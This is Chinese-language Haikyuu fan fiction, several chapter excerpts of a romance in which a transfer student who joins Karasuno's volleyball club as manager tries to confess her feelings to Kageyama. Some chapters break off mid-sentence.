《[排球]影山同学请和我告白》 1. 通知书 《[排球]影山同学请和我告白》全本免费阅读 我拿着乌野的入学通知书,在床上打了第四个滚。 如果我把乌野的“乌”加上一点变成“鸟”,我究竟能不能遇见一个眼瞎心软的神,把我放进白鸟泽的大门? “苍天啊——”我打完第五个滚,没有控制好力量和距离,从床上“咚”一声摔到了地板上。 门外响起匆忙的脚步声,随后规律的敲门声传来,“吱呀”一声,门打开了。表哥从外面探进头,欲言又止地看着地上龇牙咧嘴的我:“没事吧?” “有事,”我躺在地上有气无力地说,“摔傻了,去不了乌野了。” 表哥轻笑一声,打开门进来:“就这么想去白鸟泽?虽然以你的成绩没考上白鸟泽是挺可惜的,但是乌野也没有那么差吧?” “倒不是这个,学习靠我自己,在哪都一样。”我从地上爬起来,“但是白鸟泽的排球比较强嘛!” “你就这么喜欢排球?”表哥摇了摇头,“乌野原来的排球队也很强的,还打进了全国大赛。只是原来的教练退休了,这才渐渐没落。来都来了,去看看嘛,说不定有什么惊喜呢?” 我瘪了瘪嘴,表哥不知道,我想去白鸟泽并不仅仅是因为白鸟泽的升学率很可观。 更重要的是,我喜欢的人,在白鸟泽。 我是中国人,初二的时候因为父母工作转来了日本,进入北川第一中学念书。而我父母之所以让我转学,原本是为了让我离他们更近一点,结果我到日本之后,两人仍然忙得脚不沾地,我只好一直寄宿在远方表哥家。 这位表哥是我们家族这一支响当当的优秀晚辈,小学的时候就一个人来日本学习了,听说为家里解决了不少难题,是一个十分靠谱的人。 所以我父母十分放心地把我撒手交给了表哥。 可事实上是转学太过匆忙,我的日语水平也就是将将过了及格线。 来自中国的转学生这种在漫画里要加上好几层滤镜的天选神秘buff,本来就让同学们对我又好奇又害怕。她们围到我身边和我讲话时,在我耳朵里是这样的: “李千树同学,中国人¥%日本……*喜欢¥%&吗?” 我:“……是。” 同学:? 之后我的高冷名声渐渐在班里传开了。 天杀的真不是我故意装高冷,真的是我听不懂也不会说啊! 表哥比我高一年级,他倒是经常照顾我,中午吃饭和晚上放学的时候,都会叫上我一起。 不过我看见他边上那个栗色短发的可爱女生,一般还是会止住我自己想上去和小姐姐贴贴的欲望,理智地拒绝表哥,把时间留给小情侣独处。 每次看到他俩甜甜蜜蜜,我就心有感慨。 这俩以后结婚我不得坐主桌?这时间都是我一个人在天台流着面条泪、被小情侣围堵的萧瑟背影给换来的! 这俩情侣一个赛一个运动神经好,表哥在足球部,他女朋友在啦啦队,偶尔还会被田径队叫走帮忙参加比赛。我则没有参与任何社团,也就是为什么后来被拉去给排球的比赛应援。 北一身为排球强校,从不输人,更不能输阵。每次应援浩浩荡荡,我这种常年没有社团活动的人自然是应援团的常驻人口。 那次比赛是和谁打我不记得了,就记得场上一眼望过去全是帅哥。 其中有一个帅得突出,我抬眼的时候他正好在发球,明明才是初二的学生,看起来却大概已经有一米七几,他紧锁着眉,一记凌厉的发球,对手没能接起来。 体育馆爆发出一阵响亮的欢呼声,这才把我的思绪给拉回来。 是的朋友们,因为他的脸,因为他的发球,我觉得他很像我昨天晚上熬夜看的那本漫画的男主角。 我忍不住问了问边上的学长,他和我的表哥及女朋友是同班同学,表哥还托他照顾一下我。学长天生一张眯眯笑脸,显得十分和蔼可亲,我和他说话时便也没有什么心理压力。 在日一段时间后,我的日语水平已经有了突飞猛进的变化,虽然对排球不够了解,大概率会影响我的听辨,但是理解一些基础内容还是不成问题的。 我兴致勃勃地看向学长,学长悠悠竖起一根手指:“他是影山飞雄哦,是一个天才二传手。” 二传? 我还在琢磨什么叫做二传的时候,那位学长继续道:“二传手,也叫举球员,意思是当排球比赛进入一定赛程的时候,二传手需要把球举过头顶跑起来,两方队员过来追球,谁先打到二传手里的球哪方就赢了。” 我:? 我摸着下巴沉思了一下那个画面。 舞龙? “另外哦,影山被叫作天才二传的原因,就是因为他的球每次举得不高不低,刚好可以躲避掉所有对手,每次都让自己球队获胜。据说这种活动起源于斯布里兰卡,一开始是为了吸引猎物,后来演变成一种祭祀的仪式,逐渐演变成了今天的排球运动。” 我最近的日语水平应该提升了才对,为什么这段话我还是听不懂呢? “斯布里兰卡在哪里?”我挣扎着问出最后一个问题。 “在……” 他的话被一个拳头打断,站在他旁边一个双马尾的女生看向我:“不好意思,这家伙又在胡说八道了。” 眯眯眼学长看了我一眼,发出一阵匀速的尴尬笑声。 我:??? 说话间,北一已经拿下了一局。场上的影山同学依然是一副冷脸,但眉目间却还是隐隐泛着点轻松的笑意。 “虽然影山君也不错,但果然还是太凶了,看着就不是很好接近。”我听见有女生在应援团里窃窃私语。 会吗?我转头看着场上的紧紧攥着双拳暗暗兴奋的人。 明明赢球了看起来很开心。 女生继续碎碎念:“我果然还是喜欢及川学长……我们到时候去青城吧,及川学长现在在青城呢!” “不过我之前听别人说,影山同学会去白鸟泽,毕竟是天才二传……去了青城就看不到影山同学了……” “及川学长和影山同学你选谁!” “及川学长!” 及川学长?我把视线转回场上。 比影山同学还帅?比影山同学还像漫画男主角? 想不出来能长啥样。 那天北一毫无疑问拿下了那场比赛,只是球队之间的氛围似乎并不算太好。影山同学和别的选手拌了几句嘴,但最终在队长的制止下告终。 表哥来日后一年就有了一个可爱的女朋友,但是同为李家小辈,我在北一呆了两年,和影山同学一句话都没说上。 只有一次,我从排球部门口过,一个排球从里面飞了出来,骨碌碌滚到我脚边。 “抱歉,可以把球给我吗?”有个声音说。 我抬头看去,是影山。 他应该是正在训练,在日本寒冷的冬天只穿了一件薄薄的运动衫,额头还挂着晶莹的汗珠,头上甚至还冒起了腾腾的蒸汽。 我犹豫了一下,回想着他往日比赛的样子,将手中的球向 2. 情书 《[排球]影山同学请和我告白》全本免费阅读 我迅速回到墙角,花了半分钟时间来消化刚才眼前看到的画面。 消化无果。 影山为什么会在乌野啊?他不是在白鸟泽吗?天才二传白鸟泽没给保送名额吗?就算没保送,走正取不就行了吗?为什么来乌野了? 我的脑子乱乱的,还没反应过来的时候余光一抹亮丽的橘色飞过去了。 随即馆里响起了一声惊天动地的惨叫:“啊!你怎么在这里!” 我蓦然抬起头。 谁!谁是我的同道中人! 我扒着那窗户往里看,看见一个橘色头发、大约和我差不多高的男生,面对里面的影山吃惊到人都快掉了颜色。 我好想冲上去拍拍他的肩膀:“兄弟,我懂你。” 那橘色头发的同学好像和影山认识,一直像一只小狗一样上窜下跳的。两人吵了几句,我又听见橘子小狗同学问道:“县内还有比乌野更强的学校吧,为什么来了乌野?” 橘子小狗君问得好,我也想知道。 “县内第一的强校白鸟泽,我去考了。”影山的声音冷静而坚定。 我竖起耳朵。 “我没考上。” …… 绝对是因为流感吧!你是不是也烧到40℃!天杀的白鸟泽你到底错过了多少好苗子! 我颇为惋惜地摇摇脑袋,打开书包拿出入部申请表,打算朝着读书部走去。 然后我看到了压在书包底部的那封告白信。 告白信是在考试之前写的,本来想得好好的,我在白鸟泽落着樱花的美丽校园里,将情书递给影山同学,然后成就一番俊男靓女的佳话。 多么漫画般的告白!多么浪漫的恋爱! 这封情书,我用尽了我此生最华美、最真挚的辞藻,还用干花装点,把信纸都染了香! 然后,乌野的校园不知道和白鸟泽相比怎么样,毕竟我没去过。 如今地点不对,人物时间倒是对上了。 来都来了,要不干脆把情书递出去? 我将入部申请书折起来,把那封情书包在里面,走到体育馆门口,回忆了一下漫画女主角的表情,对着里面和橘子小狗吵得正酣的影山同学柔柔一笑:“影山君,你能来一下吗?” 排球馆里的争吵止住了,两人迷茫地望向我,随即眼睛都瞪大了。 没有对着镜子练习,但是应该没有和漫画女主角差太多吧? ----------- “门口那个笑得有点吓人的女生是谁?也是排球部新生吗?你认识?”日向看着门口的李千树,无意识地退后了半步。 女生长得好漂亮,但是为什么美少女要露出这种可怕的表情! 影山咽了口口水,回道:“不知道。” 随即迷茫地向外面走去。 不认识,但是好像有点眼熟。 女生看见他出来,脸上的笑容变得更可怕了。他硬着头皮跟着那女生走到角落里,看着离排球部门口越来越远,他忍不住停下脚步:“什么事?” 女生向他身后探了探,确认没有别人,然后深吸一口气:“你好,我叫李千树,我……” “一年级的新生吗?” “怎么站在门口?” “菅原学长,在新生面前要……有有有有有女生?!” 影山转头看去,三个穿着乌野制服的学长正望向他这边,应该是排球部的学长。 他转过身,和学长鞠躬打招呼:“学长们好。” 那女生刚才可怕的表情不见了,虽然脸上有点茫然,但是随着他鞠了一躬。 “所以,有什么事吗?”影山转过身,虽然有点着急,但还是耐心地问道。 刚才可怕的表情不见之后,女生便可以算得上是高冷。她的漂亮本来就很有攻击性,脸上的笑容卸下后,看上去就有些不是很好亲近。 不过影山本来也不是能看出来对方是不是好亲近类型的那种人,并没有在意。 她闭着眼睛递给他了一张纸。 影山打开一看,是入部申请书,虽然除了名字啥也没写,但是既然交到排球部了,大概是想做经理吧。 为什么会给他入部申请书?是把他当学长了吗?是因为他排球打得很好,看起来好得像三年级生吗? 影山心情突然好了起来,意外地看了女生一眼,十分耐心而诚恳地指了指自己的胸前:“你找错人了,我也是刚入学的新生。” 他指了指远处正在看戏的三个黑影:“他们才是乌野排球部的学长。” 女生脸上没什么表情,影山却破天荒地觉得自己从她脸上读出了尴尬来。 他善解人意地跑到学长面前,帮她交了那份入部申请书,顺便和几位学长介绍了自己。 嗯,今天也是读懂了别人表情的一天。 ----------- 想死。 给暗恋对象递情书,结果递出去的是自己只来得及写了个名字的入部申请书。 我看见影山错愕的表情,又捏到自己手里厚厚的信封,才反应过来自己伸错了手。 影山同学看着高冷,为人倒十分热心,不仅跟我介绍了自己,还将那张入部申请表交到了三年级部长手里。 冤枉啊!误会啊!学长你听我解释,我只想去读书部吃蛋糕吹空调啊! 但是队长望着我的眼神太过欣慰,欣慰到近乎于慈祥,我实在是没有忍心将“我是来表白的不是来申请加入排球部的”这句话说出口。 我麻木地跟着学长进了体育馆。 我本来也没想着要来排球部,所以根本没带室内鞋,将鞋子脱了以后,十分局促地提着鞋站在门口。 队长朝我看了过来。 我拼命用眼神说话:“你看,我连室内鞋都没带,我根本不是诚心要来排球部的,你快赶我走吧!” 奈何学长人非常好,名叫田中的学长虽然看起来凶凶的,人却意外的温柔,从我手上接过我的鞋,放进了球馆边上的柜子里,眼睛亮亮地和我说:“放这里就可以了哦!” 我:“……多谢。” “李千树同学是吗?怎么想到要来排球部当经理?”银发的菅原学长走到我身边,笑着问。 说出来你可能不信,我也没想到我会来排球部当经理。 菅原学长大概是担心我没接上话尴尬,连忙换了个问题:“喜欢排球吗?以前打过排球吗?” 我摇了摇头:“没打过,但是……还蛮喜欢看排球的。” 自从喜欢上影山同学后,北一的每一场比赛我都会去看。其实也不是多喜欢排球这项运动,毕竟我不是一个喜欢运动的人,但是看着场上运动员奋力救球的样子,我喜欢沉浸在赛场里铺天盖地的欢呼声中。 那是难得我会觉得肾上腺素飙升,可以毫无顾忌地大声呐喊的时刻。 “喜欢看排球,那对排球的规则什么的,也很了解吧?”大地学长也问道。 “大概了解过一些……但是我是国二才从中国转来的,国中没有加入过社团,所以对社团经理完全没有经验。” 乌野既然以前是强豪,肯定想要有经验的经理吧? 像我这样没有经验的门外汉,肯定会被拒之门外吧! 3. 回家路 《[排球]影山同学请和我告白》全本免费阅读 排球部的训练一直持续到七点多,我说是跟着清水洁子学姐熟悉社团经理的工作,但其实主要不过是在一边看着清水学姐怎么做罢了。 因为我盯着清水学姐的视线太过火热,学姐甚至转过头来问我是不是有什么问题。 什么问题也没有,但是只要是个人都很难把视线从清水学姐脸上挪开吧! 你们排球部都有这种级别的大美女了,还有什么不满足的! 手机“滴滴”响了两声,我打开看了一眼,是表哥发来的。他社团训练结束了,问我什么时候回家。 学姐看见我回消息,十分善解人意地让我先走。 场馆里收拾得差不多了,学长也进入了最后的整理阶段,我便点了点头,拉开了门。 然后猝不及防被眼前的人吓了一跳。 被赶出球馆的两人没有回家,而是一直直愣愣地像两根桩子在门口站着。 日向同学看见我,甚至悄悄招手跟我打了招呼。 “你们怎么还在这儿?”我问。 学长们听见动静,也凑过来。 两人对视一眼,用约架的架势和学长约了场比赛,然后中气十足地在我面前喊了“预备”,接着才齐声喊道:“我们会在比赛中证明我们可以全力合作的!” “预备”全都听见了啊喂! 大地学长对此早有预料,所以对策也给的很快,要求在周六早上用一场练习赛,决定影山是否拥有二传资格。 等下,二传资格? 我下意识去看影山。 北川的比赛我都有去看,所以我也知道影山对二传有多么大的执念。 果然,影山的表情像漫画里刚砍了几个人的大反派。 大地学长和蔼地拍拍我的小书包,示意我可以先走,随即又关上了门,将影山和日向隔在外。 我向两人说了再见,有些担心地往回看,没走多远,就听见影山的怒吼传了过来。 “千树!”表哥在前面冲我招手。 “怎么过来找我了?”我向前跑了两步,“在校门口等就可以了啦!” “看你半天没过来,天又黑了,就过来接接你。”表哥显然也听见了刚才影山那声怒吼,皱着眉问,“那是你们排球部的一年级新生吗?” 我点点头:“因为一进场就吵架,还自顾自比赛打飞了教导主任的假发,现在被赶出球场反省了。” “听起来不是很省心的家伙啊……你在排球部没问题吧?”表哥作为足球部的前辈,显然对这样的麻烦角色感同身受,眉头又皱得紧了点,“早知道不劝你去排球部了……哪怕来我们足球部做经理呢……” “没事啦,排球部的学长学姐人都很好。”我赶紧打岔,“小樱姐呢?” “她今天训练结束得早,和大道寺回去了,我没让她等。”表哥话音刚落,排球部门口的两人突然疯了一般开始狂奔。 日向跑到我跟前刹了车,跟我打了个招呼,影山本来跑出去几米了,看架势也连忙紧急刹车,跟我和表哥问好。 “……准备走了……你们这是在做什么?”我纳闷地问。 “我和这个笨蛋在比赛,比谁先跑出校门。”影山指着日向,诚实地道。 ……好没意思的比赛。 漫画男主有这样无聊的胜负欲吗? “加……加油哦……”我干巴巴地回了一句。 “那,再见。”影山朝着我们二人鞠了个躬,随即撒开丫子狂奔。 “啊!影山你混蛋,你抢跑!那李同学,我们先走了!影山你给我站住!” 日向也跑走了。 两人脚后跟掀起的尘烟消退时,我和表哥已经看不见两人的身影了。 表哥沉默了一瞬,转头认真地跟我说:“千树,以后和他们,果然还是少来往吧。” 校门口。 影山和日向两人今天大概是没摸上排球,一身使不完的牛劲儿没处发泄了,居然在校门口为了到底是谁先跑到门口吵得不可开交。 我看着门口还在吵架的两人,表情有点无语了。 不是,你们还没完了是吧! 我拉了拉表哥的衣袖,用眼神祈求表哥去将两人拉开。表哥虽然不愿意,但是我一向不怎么拜托他什么事情,他又看在我未来可能要和这两个男生相处三年的份上,还是走上前把两人拉开了。 虽然影山和表哥差不多高,但毕竟表哥比他长了一年,而且还略懂一些拳脚,应对这种热血上头的小毛头还是轻轻松松的。 “你俩到底要吵到什么时候啊,还不知道大地学长为什么把你俩赶出来吗?”我无奈地摇了摇头。 怎么说我也看了两年的排球赛,还在课后业余做了不少功课。经过今天的练习旁观,我看得也很分明。难怪表哥说乌野近些年没落了,乌野里没有很出色的选手,说得好听一些是普通,说得难听一点就是弱。 以这个水平来看,在强者如林的宫城,乌野实在太不起眼了。 二传手决定一支队伍的风格和灵魂,影山这样的天才二传加入,无疑能给乌野带来新的希望。可是如果他自恃能力,无法与队友好好相处,尤其在乌野排球队能力偏弱的情况下,只会让国中的悲剧重演。 “虽说你们被赶了出来,学长们对你们可是寄予厚望的啊!”我回想起学长们的谈话,语重心长地说,“要是你们都不能团结,未来乌野该怎么办呢?” “对我……寄予厚望?!”日向同学的眼睛像是打开了闪光灯,一瞬间明亮了起来,“我……我会努力和影山好好相处的!” 我看着日向炯炯有神的眼睛,不免感慨。 真好哄啊,橘子小狗君。 与他相比,另外那个明显就没有这么容易被我骗到了。我看向影山,他表情平静,并没有因为这一句话就得意忘形。 我悄悄咽了口唾沫,毕竟没有怎么和他近距离说过话,他不说话时表情又冷峻,我莫名有些紧张。 “但是他技术差劲是事实。”影山认真地道。 “技术是可以锤炼的,我记得日向同学是雪之丘中学的吧?你们之前打过比赛,我去看过,队伍……不成体系,应该没有教练,纯靠自己摸索吧?”我看向日向,弯了弯嘴角。 橘子小狗瞬间把眼睛哭成蛋花:“李同学居然看过那场比赛吗?” “北川的每场比赛我都有看过。”我柔声回应他,又转回看向影山,“也要给日向同学成长的时间对不对?要是有了专业的指导……” “比赛是很残酷的,对手并不会因为你技术差而对你手下留情。”影山打断我的话道,“他若没有得分的可能,我不可能传球给他。” “喂,影山!”日向立刻竖起眉毛。 表哥皱了皱眉,走到我跟前,挡住他的视线,意味不言而喻。我扯了扯表哥的衣角,示意没有关系。 他只是在陈述他心里关于排球的认知和定义罢了,这种天才,总会有一些自己的执拗。 影山没有再与我争辩,冲着我们躬了躬身,说了再见后,便转身走了。 “抱歉李同学,那个……我……”日向一瞬间慌乱了起来,他大概觉得因为他我和影山才闹了不愉快。 “没事的,我没有生气。你早些回家吧,运动这么久一定饿了。” “对不起……再见!” 4. 糖 《[排球]影山同学请和我告白》全本免费阅读 “你是说,李千树同学以前是北川第一的年级第一?”日向在接球练习的间隙喝了口水,听了影山的话,惊讶地道。 “嗯,”影山点点头,“我考白鸟泽的时候,本来想找找她给我补习来着,但是听说找她补习的人都被她拒绝了,所以后来就没找她。” “就算是李桑,遇到王者大人,也无能为力吧。”日向小声蛐蛐。 影山恶狠狠瞪他一眼,日向连忙转换了话题:“李桑真厉害啊,长得那么好看,成绩又那么好,还愿意来做排球部的经理。” “啊,她很好看吗?”影山下意识地回问。 日向喝着水,被他的发言险些呛着,剧烈咳嗽了一阵,才瞪大眼睛看向影山:“虽然心里有准备,但是你这家伙,不会完全没有鉴赏美的能力吧?” “你说什么?”影山瞪着眼睛,不甘示弱地喊了回去。 “王者大人的人缘一定非常差,同样都长着一张冷淡的脸,李桑那么好亲近,真是天上地下。” 眼看影山就要暴走,日向赶紧转向刚刚走进来的菅原:“学长,给我托球吧!” 原来李千树是非常漂亮的类型吗?影山还是一脸不爽的表情,看着日向的背影,心里默想。 他没怎么关注过周围的女生,自然也就不会注意到她们到底是漂亮还是普通,虽然有一些女生给他递过情书,但是他连她们的脸都记不太清楚。 之所以记得李千树,是因为当时考白鸟泽的时候,有想过要不要找同学给自己补习,去看荣誉榜的时候,在第一名看见了这个名字。 是个中国人的名字,挺特别的。 正好那个时候李千树从他边上目不斜视地走了过去,他听见周围有同学在小声议论。 “那就是李千树吧?” “真可爱啊……我去问问她能不能教教我学习怎么样?万一她对我芳心暗许……” “做你的春秋大梦去吧,打着歪心思去找她补习的人可不止你一个,人家连个正眼都没给!” 有一些词影山没太理解,但是李千树不会给人补习这件事他还是听懂了的。 他就没再想这件事。 不过那都不重要了,重要的是他要想尽办法,拿到排球的二传手位置才可以,在那之前,总要先把日向这个大麻烦给解决了。 他很快将这些抛之脑后,捡起地上的球,冲着日向狠狠发了一个球:“给我来练接球!” --------- 大地学长说这一周我不用去部门帮忙,等周六新生练习赛之后再正式入部就行。表哥和小樱姐他们都有部活,我要等他们一起回家,便大多会在学校里将作业写完。 因为国中刚转来时听不懂日语导致成绩落后的恐惧太深,我保持了在中国时的卷王习惯,在暑假期间就跟表哥要了高一的教材,提前全部预习了一遍。 作业每次都做得很顺利。 我信心十足地合上课本,将抽屉里的《恋爱吧!》放进背包,今天表哥要和小樱姐出去玩,让我先回家。 唉,这对小情侣。 高一开学也有一段时间了,上下学回家的路我也很熟,只是没想到,我居然能在草地上遇见还在练习的影山和日向同学。 “啊,是李同学!”日向远远冲着我摆了摆手。 影山也点了点头,向我问好。 进了排球部就是有这点好处,近水楼台先得月,要想和影山说话打招呼,完全不用再像国中时那么绞尽脑汁。我自然地走上前,冲两人挥了挥手:“影山君,日向君,还在练排球啊?” “是啊,毕竟如果不练好的话这家伙会很生气的,他生气起来很吓人的。”日向冲我做了个鬼脸。 影山闻声立刻凶了起来,但是大概觉得自己这样正中日向下怀,将自己的表情恢复正常:“我才没有。” 我从包里掏出三颗糖,给影山日向一人分了一颗,自己留了一颗,“嘎嘣嘎嘣”嚼了起来:“这么晚了,你们练这么久肯定饿了,没别的,吃颗糖吧。” “谢谢李桑,你人真好!”不愧是橘子小狗,一句话就令人心情飞扬。 他打开糖纸吃了糖,下一秒五官就皱成一团:“好……好酸!” “是有点酸……但是我很喜欢这个味道,我从中国带来的哦!”我笑眯眯地道。 影山看着手里的糖,却开始发呆。 “怎么了,是不喜欢这个口味吗?”我有点紧张起来,“啊,是不是你们练排球,不能吃这种东西?抱歉,我不知道……” “没有,谢谢。”影山摇了摇头,撕开糖纸。 “李桑别放在心上,王者大人就是这样,脾气很怪的啦!”日向冲我挤眉弄眼。 影山出人意料地没有发怒,反而是看着那个糖纸沉思。 日向凑到我跟前,兴致勃勃地道:“你觉不觉得王者大人这个名号很帅啊?我是不是也该取一个这样的外号?” 有外号了日向君,橘子小狗超适合你的。 还没等我回话,他就摸着下巴开始思考:“取什么好呢……” “别废话,来练球。”影山冷着脸打断了他。 反正作业已经写完,家里也没人,我名正言顺坐在两人边上看他们打球。 也不怪影山生气,连我一个外行人都能看出来,橘子小狗接球的水平确实惨不忍睹。在再一次接飞影山的球、眼看影山就要压抑不住喷发的火山,我忍不住打圆场:“要不……” 被弹到半空的球被人接住,一句阴阳怪气的“啊拉拉果咩”从身后传来,我转头看去,影山边上一个个子高挑的男生接住了球。 影山已经有一米八了,他个子居然比影山还要高出一截,整个人犹如抽条的麦苗,细长细长的。 夜色昏暗,高个子男生身边站着一个稍矮些的男生,我早上好像在老师办公室碰见过他,是四班的,叫山口忠。 “一场普通的比赛,你们倒是很认真嘛,要不要我明天放个水给你们?”那个子高挑的男生拿着球,表情嚣张地挑衅。 不是,这男生长得挺好看的,说话怎么这么难听? “不论如何,赢的人都只会是我。”影山的表情很可怕。 “是我们才对吧!”日向忍不住插嘴。 “真有自信啊,”山口叫着“阿月”的高个男生低了低下巴,眼神上挑,不屑地看向影山,“不愧是王者大人。” 一时间,空气凝固得连草地里的虫鸣都清晰可闻。 我下意识从草地上站起身,影山自从国中开始,就对这个外号讳莫如深,毕竟这对他而言,不是什么美妙的回忆。 “我有去看县预选的决赛哦,那么强人所难的托球,难怪你队友忍不下去了 5. 璞玉 《[排球]影山同学请和我告白》全本免费阅读 影山看了看灯火通明的大道。 虽然乌野在宫城相当偏僻,但是大概为了学生的出行安全,学校门口的路灯还是数量可观的,连地上有几根草都照得清晰可见。 “可是这条路很亮堂。”影山诚实地说道。 很好,实话实说也是漫画男主角的一个优良秉性。 我忍住想要吐槽的欲望,理直气壮地和影山解释:“天黑了就要送女孩子回家的,这是天经地义的道理。” 影山点点头,表示自己记住了。 我们俩沉默地往前走着。 其实我不是擅长开启话题的类型,但是显然影山比我想象中的更加沉默寡言。尤其是他刚才被那阴阳怪气的高个子眼镜仔月岛给狠狠打击到,这会儿还憋着一言不发,让我确实很担心他的情绪。 我悄悄扭过头看他,总是高高扬起的头此时低着,面容隐匿在路灯下刘海的阴影里,我看不清他脸上的表情。 影山一直是一个很骄傲的人,从我见到他的第一面就是如此。 张扬、张狂、不可一世,只要目光落到他身上,就可以看见他身后闪闪发亮的四溢的才华。 但是自从国中最后一场比赛过后,他便收敛了许多。 在那样的失败中,他是否会觉得,自己的才华也会是他人的眼中钉肉中刺呢? 无法融入集体的才华,是否注定要被打磨干净棱角呢? 我想和他说点什么,却又觉得什么话都哽在了喉头,一个字也说不出来,直到走到分岔口,我需要在这里左转回家,而影山要继续往前走一段路,才能到家。 我本还在犹豫要怎么对他说,他却下意识地要同我左拐。 我:? “你家在前面吧?上次我们一起回去的时候,你是往前走的。”我拦住他问道。 影山抬起他一直在沉思中的头,有些惊讶地问我:“你不是说送女孩子回家是天经地义的事情吗?” 他探了探头看向我身后的小路:“而且这条路还挺黑的。” 好家伙,还记着呢,我都忘了。 虽然被我自己的话呛了一口,但是被喜欢的人送回家到底是一件高兴的事情。我学着漫画里女主的样子,捏住裙摆,小声地害羞推拒道:“其实没事啦……” 影山听了这话倒是没有犹豫,冲我简单点了点头:“明天见。” 我:…… 我这是欲拒还迎!欲拒还迎! 算了,他今天心情不好,何况他还不明白我的心意,不理解我这点小心思也算正常。我深吸了一口气,冲着影山的背影喊了一声:“影山君!” 影山在路灯下转过头。 橘黄色的暖光打在他身上,倒是让平时显得冷冰冰的人变得柔软起来,只是他眼中并没有倒映着那样温暖的灯光。 影山平静地望向我,礼貌地问道:“什么事?” “我一直相信,影山君是一块璞玉。”我望向沐浴在温暖灯光里的他,勾了勾嘴角,笑着说,“中国有句古话,叫玉不琢不成器。挫折也好,失败也罢,它们不过是影山君过去人生里一个小小的伤口,虽然愈合后,偶尔还是会因为疼痛想起它,但是影山君最终会因为这样的伤口,变成世界上最美丽的玉器。” “所以影山君,虽然或许今天月岛同学的话很令人气愤,或许那件事情在你心里一直没法释怀,但是以影山君你的才华,一定会挣扎破茧,成为一颗瞩目的星星的。” “明天的比赛,要加油哦!” 说完这近似于告白的话,我也不好意思再看影山的眼睛,低着头匆匆跑走了。 希望影山可以从中感受到力量吧,我在家门口站定,听着自己如雷的心跳想道。 -------------- 影山没来得及拦住李千树。 什么普(璞)鱼(玉)什么中国古话什么破茧,都是什么意思啊! 国语苦手影山站在路灯下,睁着迷茫的眼睛,视线里只剩下刚才不小心被李千树压倒的小草。 不过最后一句话他听懂了。 影山君收回自己妄想拉住李千树的手,心里纳罕李千树跑得还挺快的。 “我回来了。” 还是一样空无一人的漆黑屋子,影山习以为常地打开客厅的灯,却第一次没有立刻去冰箱里准备今天要吃的晚饭,而是上楼回到卧室,看着手里的糖纸发了会儿呆。 这个糖纸很特殊,至少他以前从没有在商场里见过,不过他也不怎么吃糖就是了。 但是他记得,在北一决赛他被换下场的那天,有人在散场后,匆匆给他塞了一颗一模一样的糖。 他一般不会吃不认识的人给他的东西,但是那天他沉浸在情绪里,没有注意,麻木地打开吃了,直到那直冲天灵盖儿的酸味儿把他从浑浑噩噩的情绪里拉了出来,让他不由得在自己被替换下场输了比赛的间隙里,都忍不住分了点心思想:“这么酸,也能被叫做糖?” 大概是谁觉得他比赛太差劲,故意给他这么酸的糖果刺激他一下吧。 包装上是他看不懂的汉字,他没有多想,随手丢到了垃圾桶里。 要是当时没有丢就好了,就能比对一下,是不是眼前这颗糖。 难道当时给他糖的就是李同学? 这不是没有可能。 李千树同学说了,她看了北川的每一场比赛,而且这个糖是她从中国带来的,日本这边或许没有吧。 李同学的口味,独特得令人惊奇。 影山这么想着,下楼做饭去了。 ------------ 第二天是比赛的日子。 前一天表哥很晚才到家,身上还有点狼狈,似乎是和谁打了架,还沾了不少尘土。吓得我赶紧把医药箱拿出来,仔细一看,皮外伤都已经好好处理过了。 也是,小狼哥是和小樱姐一起出去的,如果有什么事,两人应该一起处理好了才对。 我还是没有忍住,担心地问了一句:“你们不是出去约会了吗?怎么还受伤了?小樱姐没事吧?” 小狼哥下意识地说道:“啊,她没事,我也没事。就是路上不小心摔了一跤。” 撒谎。 表哥是一个十分正直诚实的人,而这样的人就有一些缺点,比如不擅长撒谎。 他这样不苟言笑的酷哥一撒谎就开始眼神乱瞟,摸着后脑勺傻笑。 表哥你忽悠人的本事可要和山崎学长好好学学啊。 我回想着第一次见面就把二传手吹得神乎其神的眯眯眼男生,在心里腹诽道。 我才不信他摔一跤能把自己摔成这样,但是小狼哥他们总有一些需要瞒着我的事情,我也不便多问,只好说:“热水已经烧好了,晚饭在微波炉里,你热一下就可以吃,我已经吃过了。” “麻烦你了。”他明显松了口气,真诚地同我道。 “这有什么的,平时都是表哥你烧饭,我手艺可比不上你,你将就吃吧。”我故意俏皮地眨了眨眼,装作什么都不在意的样子笑了笑。 不过虽然表哥把真相忽悠了过去,还是有一些别的需要处理。比如明明没有下雨、但沾满了泥巴的鞋子,以及校服上的破洞和脏污。 其实表哥的生活能力比我强很多,毕竟他从小学就自己一个人到日本生活了,但是既然住在他家里,他又受了伤 6. 伤口 《[排球]影山同学请和我告白》全本免费阅读 “千树,这边。”我和洁子学姐已经成功进化为了互叫名字的关系,她见我到体育馆,冲我招了招手,示意我到记分牌边帮忙计分。 影山和日向同学早就到体育馆了,现在正在吵吵嚷嚷地练习热身。 虽然离练习赛的时间还有一会儿,但是日向和影山都已经满头大汗了,显然已经打了好一会儿球。影山还在争分夺秒地训练日向同学的接球,能看出来他确实很担心一会儿他会在这个上面失误。 比起他俩来说,月岛和山口真是不紧不慢啊。 我看向此时正走进体育馆大门的月岛和山口。两人和学长学姐打了招呼之后,月岛的眼神突然投到我这边来,和我眼神交触一瞬,又飞快地移走了。 我愣了一下,没想明白他突如其来的态度是因为什么。 “排球的计分规则你都清楚吧,需要我再和你说一下吗?”洁子学姐转头看我,问道。 我连忙从疑惑里抽出来,摇摇头,帮忙扶了扶那块计分板:“不用啦,我应该是熟悉的。如果一会儿有什么不对的地方,学姐记得提醒我一下就好了。” 洁子学姐微笑着点了点头,却在目光触及我手的时候变了脸:“你的手怎么了?” “啊?”我后知后觉地看向我自己的掌心,刚才跑得着急,还没发现原来摔倒的时候把手给蹭破了,泥土和血混在一处黑黑红红的一片,乍一看还怪唬人的。 “没事,刚才在门口摔了一跤,不小心擦破点皮,没什么要紧的。”我小心地把手上的石子拍了拍,笑道。 “怎么是没什么要紧?”洁子学姐眼睛瞪大了点,一脸不赞同地看着我。 虽然这么说有点变态,但是被美人责备还是一件令人心旷神怡的事情。我不好意思地把手往后藏了藏,却被洁子学姐抓住手腕:“都流血了,伤口里都是灰尘,放着不管要感染的。” “真没事……”我小声说,“我去用水冲一冲就好了……” 只是看着吓人,现在虽然有点疼,但是过不了两天就会好的。 我想这么说,但是洁子学姐瞪了我一眼,我只好老实地闭上嘴巴。 在这种运动社团,磕碰都是很正常的事。因为今天本来就是周六,我又一再强调只是小伤,学姐还是没有坚持带我去校医那里处理伤口,只是用排球部的医药箱,简单给我处理了一下。 “会有点疼,你要是忍不住就叫出声来。” “不会不会,没有这么夸张……”我看着学姐仔细给我冲洗伤口,有点受宠若惊。 